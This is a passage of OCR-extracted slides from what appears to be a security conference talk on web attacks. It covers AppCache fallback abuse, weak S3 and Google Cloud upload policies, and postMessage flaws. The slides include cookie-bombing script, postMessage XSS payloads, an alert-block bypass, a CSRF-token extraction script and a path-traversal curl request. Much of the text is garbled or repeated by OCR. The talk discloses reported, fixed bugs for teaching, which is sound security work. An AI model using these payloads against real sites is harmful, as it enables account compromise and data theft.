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Frans Rosén

« "The Swedish Ninja"
« Security Advisor @detectify ( twitter: @fransrosen )
- HackerOne #7 @ /leaderboard/all-time

- Blog at labs.detectify.com
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Frans Rosén

« Winner of MVH at H1-702 Live Hacking in Vegas!

« Winner Team Sweden in San Francisco (Oath)
+ Best bug at H1-202 in Washington (Mapbox)
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Rundown

AppCache
 Bug in all browsers

Upload Policies
« Weak Implementations
- Bypassing business logic

Deep dive in postMessage implementations
« The postMessage-tracker extension

 Abusing sandboxed domains
« Leaks, extraction, client-side race conditions
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Rundown

AppCache
 Bug in all browsers

Upload Policies
« Weak Implementations
- Bypassing business logic

Deep dive in postMessage implementations
- The postMessage-tracker extension Tool share!

 Abusing sandboxed domains
« Leaks, extraction, client-side race conditions



AppCache — Not modern!
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Disclaimer
Found independently by

Exploiting the unexploitable with lesser known b...

@filedescriptor
Announced last AppSecEU

Service Worker has an older brother

0 filedescriptor : [:] Technology {? 15 © 13k &,

https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks?slide=22
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AppCache

html manifest="example.appcache

html
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AppCache

html manifest="example.appcache

html | CACHE MANIFEST
# vl - 2011-08-13
# This is a comment.
http://www.example.com/index.html
http://www.example.com/header.png
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AppCache

html manifest="example.appcache

html CACHE MANIFEST

# vl - 2011-08-13

# This is a comment.
http://www.example.com/index.html
FALLBACK: http://www.example.com/header.png

The FALLBACK: section specifies fallback pages the browser should use if a resource is
inaccessible.
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Cookie Stuffing/Bombing
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<script>
<! [CDATA[
setTimeout(function(){

for(x=0;x<9999; x++){document.cookie=x+'="+Array(999).join('a"')+"';path=/"};
}, 1000);
]11>¢/script>

Will make EVERY page return 500 Error = Manifest FALLBACK will be used
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Bug in every browser
Manifest placed in /u/2241902/manifest.txt

CACHE MANIFEST

FALLBACK:
/ /u/2241902/manifest/report.xml

NETWORK:
http://*
https://*
*

Would use the FALLBACK for EVERYTHING, even outside the dir
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Surprise — Specification was vague

_— Attacking Modern Web Technologies

"To mitigate this, manifests can only specify
fallbacks that are in the same path as the
manifest itself."

https://www.w3.0rg/TR/2015/WD-html51-20150506/browsers.html#concept-appcache-manifest-fallback
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Surprise — Specification was vague

"To mitigate this, manifests can only specify
fallbacks that are in the same path as the
manifest itself."

This was confusing, could mean the path to the fallback-
URL and that was what browsers thought. They missed:

"Fallback nhamespaces must also be in the same path as the manifest's URL."

https://www.w3.0rg/TR/2015/WD-html51-20150506/browsers.html#concept-appcache-manifest-fallback
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AppCache demo



' [} du.dropboxusercontent.com

< > C 0O \0 Secure https://dl.dropboxusercontent.com/u/2241902/manifest/manifest.xm| iﬂ :
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AppCache on Dropbox

» Could run XML on dl.dropboxusercontent.com as HTML
- XML installs manifest in browser on root

- Any file downloaded from Dropbox would use the

fallback XML-HTML page, which would log the current
URL to an external logging site

* Every secret link would be leaked to the attacker
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AppCache on Dropbox

» Could run XML on dl.dropboxusercontent.com as HTML

« XML installs manifest in browser on root Df’

* Any file downloaded from Dropbox would use * ‘b
fallback XML-HTML page, which would e . 5 gl
URL to an external logging site %o\)‘\

* Every secret link would be leaked to the attacker
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Dropbox mitigations

* No more XML-HTML on dl.dropboxusercontent.com
- No more public directory for Dropbox users

- Coordinated bug reporting to every browser

- No more FALLBACK on root from path file

- Argumented for faster deprecation of AppCache

- Random subdomains for user-files
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Dropbox mitigations

* No more XML-HTML on dl.dropboxusercontent.com
- No more public directory for Dropbox users

- Coordinated bug reporting to every browser

- No more FALLBACK on root from path file

- Argumented for faster deprecation of AppCache

- Random subdomains for user-files

Chrome P> Fixed Edge/IE P> Fixed

Firefox > Fixed Safari P> Fixed
https://bugs.chromium.org/p/chromium/issues/detail ?id=696806#c40

Reported 28 Feb 2017, fixed ~June 2017
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Dropbox mitigations

* No more XML-HTML on dl.dropboxusercontent.com

- No more public directory for Dropbox users Q
- Coordinated bug reporting to every browser 5300

- No more FALLBACK on root from path file . ec,‘.

- Argumented for faster deprecation of App© 0(\‘\

- Random subdomains for user-files e(‘Oo

Chrome B> Fixed  Edge/lE>_ %

Firefox > Fixed Safari p> % <d
https://bugs.chromium.org/p/chromium/issues/detail ?id=696806#c40

Reported 28 Feb 2017, fixed ~June 2017
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AppCache vulns still possible

Requirements:

* HTTPS only (was changed recently)

* Files uploaded can run HTML

* Files could be on a isolated sandboxed domain

- Files are uploaded to the same directory for all users
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ServiceWorkers, big brother of AppCache

Requirements:

* HTTPS only

* Files uploaded can run HTML

* Files could be on a isolated sandboxed domain

* Files are uploaded to the root path
For example: bucket123.s3.amazonaws.com/test.ntml



Upload Policies
AWS and Google Cloud
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Upload Policies
A way to upload files directly to a bucket, without
passing the company’s server first.

Faster upload
Secure (signed policy)
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Upload Policies
A way to upload files directly to a bucket, without
passing the company’s server first.

Faster upload
Secure (signed policy)
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—————— WebKitFormBoundarykql70XsSvV93ywF20n

l 'pload POlICIeS Content-Disposition: form-data; name="key"

acct_ 1XAHBapeZO06R42bwlNwlUtapplication-logo-__ 4 1 img_src_x_onet
.domain___ 2.7jpg
LOO kS I i ke thiS S WebRitFormBoundarykgl7U0XSvV93ywF20n
] Content-Disposition: form-data; name="AWSAccessKeyId"

POST /bucket-name HTTP/1.1 ARIAIRAMHIBIL6SRW6HA

e m? mme e EmTre e~ | WebRitFormBoundarykgl70XSV93ywF20n
Host: S:.')) «Qmazonaws . com Content-Disposition: form-data; name="acl”
Connection: close

public-read
Content- Length 341520 IPE20TT WebRitFormBoundarykgl70XSvV93ywF20n

Content-Disposition: form-data; name="success_action_redirect”
I
https://dashboard.example.com/file_upload/complete
—————— WebRitFormBoundarykgl70XSV93ywF20n
Content-Disposition: form-data; name="policy"

TV am = maemn = o - e -

CiAgICAgICAgICB7ICJlelBpcemFO0aWl9uIljogIljIwMTgtMDMEMDRUMTU6Mzg6MTFalis
mvbmRpdGlvbnMiOiBbCiAgICAgICAgICAgICAgeyJidWNrZXQi0OiAic3RyaXBlLXVy
CAgICAgICAgICBbINNOYXJ0cyl3aXRoIiwgIiRrZXKkiLCAIYWNJAdF8XWEFIQmFwZVoy
AogICAgICAgICAgICAgIHsiYWNSsIjogInBlYmxpYylyZWFkInO0sCiAgICAgICAgICAL
2FjdGlvbl9yZWRpcmVjdCI6ICJodHRwezovL2Rhe2hib2FyZC5zdHIpcGUUY29tL22y
XBsZXR1In0sCiAgICAgICAgICAgICAgWyJzdGFydHMtd210aCIsICIkQ29udGVudCll
CAgICAgICAgICAgIFsiY29udGVudClsZWhndGgtemFuZ2U0iLCAWLCAIMIQyvODhdCiA¢
CAgICAgICAgIHOKICAGICAgICA=

. . e e - -~ o~ — o~
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Policy is a signed base64 encoded JSON

{ "expiration": "2018-03-04T15:38:112",
"conditions": [
{"bucket": "example-uploads"},
["starts-with", "$key", "acct_1XAHBapeZ06R42bwNwUt"],
{"acl": "public-read"},
{"success_action_redirect": "https://dashboard.example.com/file_upload/complete"},

["content-length-range”, 0, 5242 88]
]
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Pitfalls AWS S3

starts-with $key does not contain anything
["starts-with", "$Skey", "],

We can replace any file in the bucket!




Attacking Modern Web Technologies

Pitfalls AWS S3

starts-with $key does not contain anything
["starts-with", "$Skey", "],

We can replace any file in the bucket!

starts-with $key does not contain path-separator
["starts-with", $key "acct_1XAHBapeZ06R42bwNwUt"],

We can place stuff in root,
remember ServiceWorkers/AppCache?
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Pitfalls AWS S3

SContent-Type uses empty starts-with + content-disp
["starts-with", "$Content-Type", "],

We can now upload HTML-files:

Content-type: text/html
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Pitfalls AWS S3

SContent-Type uses empty starts-with + content-disp

["starts-with", "$Content-Type", "],
We can now upload HTML-files:
Content-type: text/html

SContent-Type USeS starts-with = image/jpeg
["starts-with", "$Content-Type", "image/jpeg'],

We can still upload HTML.:

Content-type: image/jpegz;text/html
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Custom business logic (Google Cloud)

POST /user_uploads/signed_url/ HTTP/1.1
Host: example.com
Content-Type: application/json;charset=UTF-8

{"file name":"images/test.png","content type":"image/png"}
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Custom business logic (Google Cloud)

POST /user_uploads/signed_url/ HTTP/1.1
Host: example.com
Content-Type: application/json;charset=UTF-8

{"file name":"images/test.png","content type":"image/png"}

Signed URL back to upload to:

{"signed url":"https://storage.googleapis.com/uploads/images/test.png?
Expires=1515198382&GoogleAccessId=example%40@example.iam.gserviceaccount.com&
Signature=d1MAFC2Gs22eP%2ByoAhwGqoPA®ijySYYtRdkaIHVUr%2FvwKfNSKkKwTTpBpyOF..."}
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Vulnerabilities

We can select what file to override
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Vulnerabilities

We can select what file to override

If signed URL allows viewing = read any file

POST /user_uploads/signed_url/ HTTP/1.1
Host: example.com
Content-Type: application/json;charset=UTF-8

{"file name":"documents/invoicel.pdf","content type":"application/pdf"}

{"signed url":"https://storage.googleapis.com/uploads/documents/invoicel.pdf?
Expires=1515198382&GoogleAccessId=example%40example.iam.gserviceaccount.com&
Signature=d1MAFC2Gs22eP%2ByoAhwGqooARijySYYtRdkaIHVUr%2FvwKfNSKkKwTTpBpyOF..."}

Just fetch the URL and we have the invoice
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Vulnerabilities

We can select what file to override
If signed URL allows viewing = read any file

POST /user_uploads/signed_url/ HTTP/1.1 QQ

Host: example.com 66

Content-Type: application/json;charset=UTF-8 x '
~S

{"file_name":"documents/invoicel.pdf","content_type":"application/pd’

{"signed _url":"https://storage.googleapis.com/uploads/document- “‘»
Expires=1515198382&GoogleAccessId=example%40example.iam.gse" 0\)
Signature=d1MAFC2Gs22eP%2ByoAhwGqo0ARijySYYtRdkaIHVUr%2>"™ 3\“

Just fetch the URL and we have the ,,'\0



Rolling your own
policy logic sucks
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Custom Policy Logic

Goal is to reach the bucket-root, or another file
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Path traversal with path normalization
Back to the 90s!

$ curl -sL -H 'Origin: https://projects.example.com' \
'https://freehand.example.com/api/get-image?key=../../../&document=MawuabWyZ' | jq -r '.url'

https://prodapp.s3.amazonaws.com/?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz—-Credential=AKIAJFUMDU3l
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Path traversal with path normalization
Back to the 90s!

$ curl -sL -H 'Origin: https://projects.example.com' \
'https://freehand.example.com/api/get-image?key=../../../&document=MawuabWyZ' | jq -r '.url'

https://prodapp.s3.amazonaws.com/?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz—-Credential=AKIAJFUMDU3l
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Regex extraction of URL-parts
Expected:

https://example-bucket.s3.amazonaws.com/dir/file.png

Result: \

https://s3.amazonaws.com/example-bucket/dir/file.png?Signature..
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Regex extraction of URL-parts
Bypass:

POST /api/file_service/file_upload_policies/s3_url_signature.json HTTP/1.1
Host: sectegtii . cacir -0l a..com

{"urf “:"https://.x./example-beta"}
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Regex extraction of URL-parts
Bypass:

POST /api/file_service/file_upload_policies/s3_url_signature.json HTTP/1.1

Host: sectegtii . cacir -0l a..com

{"signedUrl":"https://s3.amazonaws.com//example-beta?X-Amz-Algorithm=AWS4-HMAC

{"urf “:"https://.x./example-beta"}
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Regex extraction of URL-parts
Bypass:

POST /api/file_service/file_upload_policies/s3_url_signature.json HTTP/1.1

Host: sectegigiitcrcn s sllia..com

{"signedUrl":"https://s3.amazonaws.com//example-beta?X-Amz-Algorithm=AWS4-HMAC

{"urf “:"https://.x./example-beta"}
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Temporary URLs with signed links

POST /api/s3_file/ HTTP/1.1
Host: secure.example.com

{"id":null, "random_key":"xx11","s3 key":"/","uploader_id":719572,"employee_id":null}
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Temporary URLs with signed links

POST /api/s3_file/ HTTP/1.1
Host: secure.example.com

{"id":null, "random_key":"xx11","s3 key":"/","uploader_id":719572,"employee_id":null}

HTTP/1.1 201 CREATED i;

{"employee_id": null, "s3 key": "/", "uploader_id": 719572, "random_key": "xx11",



0] OWASP

Attacking Modern Web Technologies
[ pane Slione. : _
Temporary URLs with signed links

POST /api/s3_file/ HTTP/1.1
Host: secure.example.com

{"id":null, "random_key":"xx11","s3 key":"/","uploader_id":719572,"employee_id":null}

HTTP/1.1 201 CREATED i;

{"employee_id": null, "s3 key": "/", "uploader_id": 719572, "random_key": "xx11",

https://secure.example.com/files/xx11
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Temporary URLs with signed links

POST /api/s3_file/ HTTP/1.1
Host: secure.example.com

{"id":null, "random_key":"xx11","s3 key":"/","uploader_id":719572,"employee_id":null}

HTTP/1.1 201 CREATED i;

{"employee_id": null, "s3 key": "/", "uploader_id": 719572, "random_key": "xx11",

https://secure.example.com/files/xx11

V

Location: https://example.s3.amazonaws.com/?Signature=i0yYZD8q4UfOWtI%2FUmsaDEsAbIM%3D&Expires=
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Temporary URLs with signed links
POST /api/s3_file/ HTTP/1.1 . c\‘
Host: secure.example.com ob\e

{"id" :null, "random_key":"xx11","s3 ke - eﬂe q . employee_id":null}
HTTP/1.1 201 CREATED oess
{"emp1- ad a > "uploader_id": 719572, "random_key": "xx11",

X .
I ?0\\ secure.example.com/files/xx11

V

Location: https://example.s3.amazonaws.com/?Signature=i0yYZD8q4UfOWtI%2FUmsaDEsAbIM%3D&Expires=
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Full access to every object

Ability to list and download every file in the "prod - $1,500
bucket due to weak logic in /api/get-image 40 points
XOXO - Updated 3 months ago
Listing any uploaded file in the beta bucket due to $900
P1 Resolved flawed parsing in s3_url_signature.json 20 points
@ XXX : Updated 2 months ago
Comment 1
Listing/Fetching/Modifying/Deleting any uploaded file $1,000
in the beta bucket due to flawed multipart_signature- 20 points
logic

@ XXX - Updated 2 months ago

I P2 ‘ l Resolved Comments 5




Attacking Modern Web Technologies

OWARSP

AppSec Europe
London an-Gth June 7 _

s - R

Full access to every object

Ability to list and download every file in the "prod " - $1.500
Example rewarded fransrosen with a $15,000 bounty and a $10,000 bonus. Jun 13th (2 years ago)
Thank you @fransrosen. This is a big one, and you are obviously being rewarded accordingly.
Thank you for your continued diligence, and your full support.

Bonus is for loyalty and one of the best write-up's we have seen. Thanks again!

LIDSUINIY/rewciiiiyg/vivuii ylniy/uweicully ally upivaucu 1ic P I,UUU
in the beta bucket due to flawed multipart_signature- 20 points
logic

@ XXX - Updated 2 months ago

‘ P2 ] I Resolved Comments 5




Deep dive in postMessage
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Birth of the postMessage-tracker extension

+ 1 year ago, discussion on last AppSecEU!

veit @fenceposterror - 30 May 2017
;;. Replying to @fransrosen

Is that what we talked about?

O 1 [ L 2 &

Frans Rosén @fransrosen - 30 May 2017
yes sir!

O n Q il
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Birth of the postMessage-tracker extension

- Catch every listener in all frames.

- Find the function receiving the message

 Log all messages btw all frames
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Birth of the postMessage-tracker extension

- Catch every listener in all frames. % o Iy

https://www.uber.com/en-SE/

* Find the function receiving the message 1. www.uber.com

at Object.U (https://tags.tigcdn.com/utag/uber/main/prod/utag.727.js?
utv=ut4.42.201701261739:6:2635)

- Log all messages btw all frames e e

Function)"===0bject.prototype.toString.call(c)&&!l===c(b.o
rigin))return!l;a(b)}

] © top v | Filter

top~top.frames[1] e45016676f0fbeca37b502839e6f0eb8b5c8adc9f6a519cde621
top.frames[1]-top RANDRECIEVED

top.frames[2]-top.frames[2] getrand

top.frames[2]-top {"frame":"_LP_RANDIFRAME","message":"TOKENPASSREQUES
top-top.frames[1] {"frame":"_LP_RANDIFRAME","message":"TOKENPASSREQUES
top.frames[1]-top {"frame":"_lpiframe","message":"45,50,221,153,98,3,2
top~top. frames[2] {"frame":"_lpiframe","message":"45,50,221,153,98,3,2
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What have | found?

Regular vuln cases (XSS)




Attacking Modern Web Technologies
t AppSec Europe
nnnnnnnn | rastmmeronn

What have | found?

Regular vuln cases (XSS)

function (b){b.data.evalCall&&eval("("+b.data.ev

alCall+")")}
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What have | found?

Regular vuln cases (XSS)

Attacking Modern Web Technologies

function (b){b.data.evalCall&&eval("("+b.data.ev
alCall+")")}

b.postMessage({"evalCall":"alert(document.domain

)II}’ I*I)
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What have | found?

Regular vuln cases (XSS)

if (e.data.JSloadScript) {
if (e.data.JSloadScript.type == "iframe") {

local create_element(doc, ['iframe', 'width', '@', 'height', '@', 'src',
e.data.JSloadScript.value], parent);
} else {
locallLoadScript(e.data.JSloadScript.value)

}



OWARSP

Attacking Modern Web Technologies
AppSec Europe

What have | found?

Regular vuln cases (XSS)

if (e.data.JSloadScript) {
if (e.data.JSloadScript.type == "iframe") {

local create_element(doc, ['iframe', 'width', '@', 'height', '@', 'src',
e.data.JSloadScript.value], parent);
} else {
locallLoadScript(e.data.JSloadScript.value)

}

b.postMessage({"JSloadScript":{"value":"data:text/javascript,alert(document.domain)"}}, "*")
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What have | found?

Complex ones: Data-Extraction
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Data-Extraction

Listener:

function t(e) {
var t, o = new RegExp("(clicktale.com|ga-core.app.clicktale.com)($]|:)
II)'

i = new RegExp("qa-core.app.clicktale.com"),
c =11,
a = e.origin;

try {

t = JSON.parse(e.data)
} catch (1) {

return
}

o.test(e.origin) !== !1 && (window.ct_ve_parent_window = e.source, 1i.
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Data-Extraction

Vulnerable origin-check:

function t(e) {
var t, o #"new RegExp("(clicktale.com|ga-core.app.clicktale.com)($]|:)
II)'

i = nedRegExp("qa-core.app.clicktale.com"),
c =11,
a = e.origin;

try {

= JSON.parse(e.data)
} catch (1) {
return
}

o.test(e.origin) !== !1 && (window.ct_ve_parent_window = e.source, 1i.
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Data-Extraction

Vulnerable origin-check:

function t(e) {
var t, o #"new RegExp("(clicktale.com|ga-core.app.clicktale.com)($]|:)
II)'

i = nedRegExp("qa-core.app.clicktale.com"),
c =11,
a = e.origin;

try {

= JSON.parse(e.data)
} catch (1) {
e $ sudo su
} $ echo "127.0.0.1 ga-core.appxclicktale.com" >> /etc/hosts
o.test(e.origin) !=
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Data-Extraction

Looks harmless?

o.test(e.origin) !== !1 && (window.ct_ve_parent_window = e.source, i.
test(e.origin) === !0 && (c = !0), "CT_testRules" == t.name && (sessionSt
orage.setItem("CT_testRules", JSON.stringify(t.params.testRules)), consol
e.log((new Date).toJSON(), "PostPTC: testRules ", sessionStorage.getItem(
"CT_testRules")), window.ct_ve_parent_window.postMessage({

name: "testRulesRecieved",

params: {}
}, "x")), "CTload_ve" === t["function"] && "function" == typeof Click
TaleGetPID && null !== ClickTaleGetPID() && n(a, c))

}



Attacking Modern Web Technologies

OWARSP

AppSec Europe

London znd-éth June 7 —

o

Data-Extraction

Initiating ruleset

o.test(e.origin) !== !1 && (window.ct_ve_parent_window = e.source, i.
test(e.origin) === !0 && (c = !0), "CT_testRules" == t.name && (sessionSt
orage.setItem("CT_testRules", JSON.stringify(t.params.testRules)), consol

. T orage.getItem(
function Rule(t) {

logger.log("Rule name: ", t.name), this.name = t.name;

var e = actionsFactory.construct(t.action, t),
n = observablesFactory.construct(t.triggers), " == typeof Click
o = statesFactory.construct(t.states);

n & n.subscribe(function(t) {
if (o.evaluate()) return e.execute(t)

}
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e 2 |

Data-Extraction

Action-Rules:

return this.actionData.dynamicEventName ? dynamicEventNameUtils.getDy
namicEventName(this.actionData.dynamicEventName, this.triggeredDomElement
) : this.actionData.eventName
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e

Data-Extraction e s

break;
case "ElementValue"f]

Extraction-options! p = elf);

break;

case "TriggeredElementValue"
"undefined" != typeof r && null !=r && (p = n(f, r));
break;

case "CookieValue"
p = c(f.name);
break;

case "JSVariableValue"[
p = o(f.name);
break;

case "QueryStringParamName"}
p = U(f.name);
break;

case "BookmarkName"f]
p=al);
break;

case "URLValue"H
p = i()

return this.actionData.dynamicEventName ? dynamicEventNameUtils.getDy
namicEventName(this.actionData.dynamicEventName, this.triggeredDomElement
) : this.actionData.eventName
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Data-Extraction
Trigger: {

"params": {
"testRules": {
"rules": [

{
"name": "xxx",
"triggers": {
"type": "Delay",
"delay": 5000
}
}
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Data-Extraction
State:

"states": {
"type": "JSVariableExists",
"name": "ClickTaleCookieDomain",
"value": "example.com"

}s
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Data-Extraction

Action: fEEELE
"actualType": "CTEventAction",
"type": "TestRuleEvent",
"dynamicEventName": {
"parts": [
{

"type": "ElementValue",
"ctSelector": {

"querySelector": ".content-wrapper script”
}
¥
{
"type": "CookieValue",
"name": "csrf_token"
}
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e 2 |

Data-Extraction

function doit() {
found=false;
clearInterval(inte);
inte = setInterval(function() {
if(b && !found) {
send('{"name":"CT_testRules","params":{"testRules":{"rules": [
{"name":"xxx","states":{"type":"JSVariableExists","name":"ClickTaleCookie

Domain","value":"example.com"},"triggers":{"type":"Delay","delay":5000},"
action":{"type":"TestRuleEvent","dynamicEventName":{"parts": [{"type":"Ele
mentValue","ctSelector":{"querySelector":".content-wrapper script"}},{"ty
pe":"CookieValue","name":"csrf_token"}]},"actualType":"CTEventAction"}}]}
},"function":"CT_testRules"}')

} else if(found) {

send('{}"');
}
}, 2000);
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o

Data-Extraction
function doit() { CSRF-tOken |

found=false;

clearInterval(inte); - -

inte = setInterval(function() { gener*""" =20 IDDLLISACT1VEBLZL Duun 2%2C%22data%22%3A%7B%7D
if(b & !'found) { 59522%3A%7B%22isActive%22%3Afalse%2C%22dac . M2%3A%7B%$7D%2C%

score%22%3A%7B%22isActive%22%3Afalse%2C%22datas. 3$3A%7B%7D%2

eyJsb2dnZWRfaW4iOiAiWlRjeVpERmpOemt 0T1RFNE15MDBNV psTFAJME9SE

send('{"name":"CT_testRules","paramd:{"
{"name":"xxx","states":{"type":"ISVariableExist¥¥&,"n

Domain","value":"example.com"},"triggers": {"type™ S
action":{"type":"TestRuleEvent","dynamicEventName":{

panding: {}

mentValue","ctSelector":{"querySelector":".content-w sending: {}
pe":"CookieValue","name":"csrf_token"}]},"actualType
},"function":"CT_testRules"}"') sending: {}
} else if(found) { sending: {}
send('{}');
} sending: {}
}, 2000);

} "name":"testRuleEvent", "params":{"testTime":1521501668779,"
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XSS on isolated but "trusted" domain

Sandboxed domain being trusted and not trusted at the same time.

postMessage used to transfer data from/to trusted domain.
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ACME.COM

Create new doc



http://ACME.COM
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XSS on sandbox

® © [ about:blank X frans

< C 1 © about:blank * E.ﬂ

usersandbox.com
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User creates a document

® © [ about:blank X frans ® ® [ about:blank x\ - frans
& C (¢ ® about:blank * I : < C ¢ ® about:blank * Y
usersandbox.com

:> ACME.COM

Create new doc



http://ACME.COM

LA

AppSec Europe

nnnnnnnn d-élh ]une 7 _

Sandbox opens up in iframe for doc-converter

. — Attacking Modern Web Technologies

® © [ about:blank X frans ® ® [ about:blank x\ - frans
& C (¢ ® about:blank * I : < C ¢ ® about:blank * Y
usersandbox.com

ACME.COM

Create new doc
ﬁ usersandbox.com

™ |
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Hijack the iframe s, due to SOP

. — Attacking Modern Web Technologies

® © ® [ about:blank X frans ® © ® [ aboutblank X frans
& C @ ® about:blank | By < C ¢ ® about:blank * Y
usersandbox.com

ACME.COM

Create new doc

usersandbox.com
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User uploads file, postMessage data to converter

® ® [ about :blank x\ - frans ® © ® [ aboutblank x\ . frans

< C (0 @ about:blank | By : < C (0 @ about:blank | By

ACME.COM

L ]
63%

m usersandbox.com

™ |
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Iframe leaks data to attacker’s sandbox window

® ® [ about :blank x\ - frans ® ® ' [ about:blank

< C (0 @ about:blank | By : < C (0 @ about:blank | By

ACME.COM

L ]
63%

fffff

m usersandbox.com
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And we have the document-data!

I have the document!
UEsDBBQABQAIAAAAIQDfpNJsSWgEAACAFAAATAAgGCWONvVDbnRIbnR
fVHIWZXNd
LnhtbCCiBAIooAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAALAAAAAAMAAALAAAALAAALAAN


http://ACME.COM
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What have | found?

Client-side Race Conditions!
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Localized welcome screen, JS loaded w/ postMsg

. — Attacking Modern Web Technologies

® © ® /[ aboutblank < tmans function (a){0>a.origin.indexOf (MpELD) | |

. (a=a.data, "close" !=a&&"continue" !=a&&"cancel" !|=a&&
S 2 C 8 O abouthlank * : (a=JSON.parse(a),callback(a)))}
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Localized welcome screen, JS loaded w/ postMsg

I — Attacking Modern Web Technologies

® © ® ' about:blank x frans function (a) {0>a . origin .indexOf (MPElD) I |
(a=a.data, "close" !=a&&"continue" !=a&&"cancel" ! =a&&

SN 0) @ aboutblank * (a=JSON.parse(a),callback(a)))}

2]

Welcome!

Valkommen!

* B

localeservice.com
Willkommen!

Il
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Localized welcome screen, JS loaded w/ postMsg

I Attacking Modern Web Technologies

® © ® ' about:blank x frans function (a) {0>a . origin .indexOf (MPElD) I |
(a=a.data, "close" !=a&&"continue" !=a&&"cancel" ! =a&&

SN 0) @ aboutblank * (a=JSON.parse(a),callback(a)))}

2]

Welcome! @»a.origin.index0f(MpE1D)

Valkommen! _
link.com.example.com = OK

localeservice.com
Willkommen!

Il
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Only works once

® © [ about:blank X frans

& C 1 © about:blank * EE]

Welcome!
Vilkommen! e |
locale

Willkommen!

startcb: function(a) {
a && a.mode &% MpStorage.setCookie("MP", a.mode, "/", MpEL.domain);
MpStorage.remove("mpel_init");
if ("none" != a &% (userPref = a,
11 == cnt)) {
if (!MpEL.onPreferredSite(a, location.href)) {
var b = document.createElement("script");
.type = "text/javascript"”;
I @=""
.lang = null,
.country = "",
.curr = "");
.hasOwnProperty("lang") ? b.src = "https:" + MpEID + "/m?href\x3d" +
= document.getElementsByTagName("script")[@];

[ VR VI VI VR DR VR P R =

.parentNode.insertBefore(b, a)

cnt = 10

}

‘.lllllllllll'Illlllllllllllllllllllllllllllllllllllllllllllllllll."
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Only WOrksS ONCE | e smcsion

a && a.mode &% MpStorage.setCookie("MP", a.mode, "/", MpEL.domain);
2 emove("mpel_init");
8& (userPref = a,

f ("none" ¥
11 == cnt)) {

® © [ about:blank X frans

& C ¢ @ about:blank * E
— B onPreferredSite(a, location.href)) {

var b = document.createElement("script");
b.type = "text/javascript"”;

all (a=",
| a.lang = null,
Welcome! T b O,
a.curr = "");
a.hasOwnProperty("lang") ? b.src = "https:" + MpE1D + "/m?href\x3d" +
o || _ Sl )
\/:aIL(C)rT]rT]Eer]! | a = document.getElementsByTagName("script")[0];
ooty narentNode.insertBefore(b, a)
locale

Willkommen!
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Curr not escaped

® © [ about:blank X frans

& C 1 © about:blank * EE]

Welcome!

Valkommen!

Willkommen!

Attacking Modern Web Technologies

startcb: function(a) {
a && a.mode &% MpStorage.setCookie("MP", a.mode, "/", MpEL.domain);
MpStorage.remove("mpel_init");
if ("none" != a && (userPref = a,
11 == cnt)) {
if (!MpEL.onPreferredSite(a, location.href)) {
var b = document.createElement("script");

.hasOwnProperty("lang") ? b.src = "https:" + MpE1D + "/m?href\x3d" +
= document.getElementsByTagName("script")[@];
.parentNode.insertBefore(b, a)

b.type = "text/javascript"”;
all (a="",

a.lang = null,

a.country = "",

a.curr = "");

a

a

a

+ "\x26lang\x3d\x26country\x3d" + a.country + "\x26curr\x3d" + a.curr;
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Loaded JS, osl vuln param

...&curr=gosl="'-alert(1l)-"'

var ElPref=

{'site':'www.example.com/global','lang':'en', 'country':'','region':'"', ' 'currency':'"',"'c
, 'countryCookieName': 'EL_COUNTRY', 'regionCookieName':'EL_REGION', 'currencyCookieName':
Detail':'', 'promptLang':'zs', 'promptCountry':'"', 'promptRegion':'"', 'promptCurrency':"'"}
{'hn':'www.example.com/global', 'blang':'en,sv,zt,zs,fi,it,de', 'nlang':"'"'-alert(1l)-
'','rsite':'','r':'3','dlang':'en’', 'dcountry':'"', 'dcurrency':"'"', 'px':'//analytics.cony

script=document.createElement ('script');script.type='text/javascript';script.src='httg
T m—
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o

alert was blocked. yawn...

window.alert = function(text) {
if (typeof console != "undefined") {

console.error("Module 'prevent_js_alerts' prevented the following alert: " + text);
}

return true;

};
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o

alert was blocked. yawn... easy fix

window.alert = function(text) {

if (typeof console != "undefined") {
console.error("Module 'prevent_js_alerts' prevented the following alert: " + text);
}

return true;

};

document.body.appendChild(iframe=document.createElement('iframe’));
window.alert=iframe.contentWindow[ 'alert’];
document.body.removeChild(iframe);

window.alert(document.domain)
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pam

Attacking Modern Web Technologies

Attacker-site

® [ aboutiblank
< C 0 @ about:blank % Y

link.com.example.com
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Attacker site opens victim site

* B

link.com.example.com

>

[
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Loaded JS

® © ® [ aboutblank x frans
< C 0 © about:blank v [y H & C (0 © about:blank % Iy

link.com.example.com

® © ® [ aboutblank x frans

setInterval(function() {

if(b) b.postMessage('{"sitelist":"www.example.com/
global","siteurl":"www.example.com/uk","curr":"curr=&osl=\"-(function()
{document.body.appendChild(iframe=document.createElement(\'iframe\"'));window
.alert=iframe.contentWindow[\'alert\'];document.body.removeChild(iframe) ;win
dow.alert(document.domain)})()-\""}"',"*")

}, 10);
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Loaded JS

® © ® [ aboutblank x frans
< C 0 © about:blank v [y H & C (0 © about:blank % Iy

link.com.example.com

® © ® [ aboutblank x frans

Loads mpel.js...

setInterval(function() {

if(b) b.postMessage('{"sitelist":"www.example.com/
global","siteurl":"www.example.com/uk","curr":"curr=&osl=\"-(function()
{document.body.appendChild(iframe=document.createElement(\'iframe\"'));window
.alert=iframe.contentWindow[\'alert\'];document.body.removeChild(iframe) ;win
dow.alert(document.domain)})()-\""}"',"*")

}, 10);
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Loaded JS

® © ® [ aboutblank
& C (0 © about:blank v | By : & C 0  © about:blank * [

® © ® [ aboutblank x frans

8
E

Loads mpel.js...

link.com.example.com
Welcome!

€ C 0O Oaboutblank * By

Valkommen! .
localeservice.com

Willkommen! %
setInterval(function() {

if(b) b.postMessage('{"sitelist":"www.example.com/
global","siteurl":"www.example.com/uk","curr":"curr=&osl=\"-(function()
{document.body.appendChild(iframe=document.createElement(\'iframe\"'));window
.alert=iframe.contentWindow[\'alert\'];document.body.removeChild(iframe) ;win
dow.alert(document.domain)})()-\""}"',"*")

}, 10);
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We won!

® © ® [y aboutblank x frans ® © ® [ aboutblank x frans
& C 00  ® about:blank v Yy : < C Y @ aboutblank * Y .
Loads mpel.js...
. v
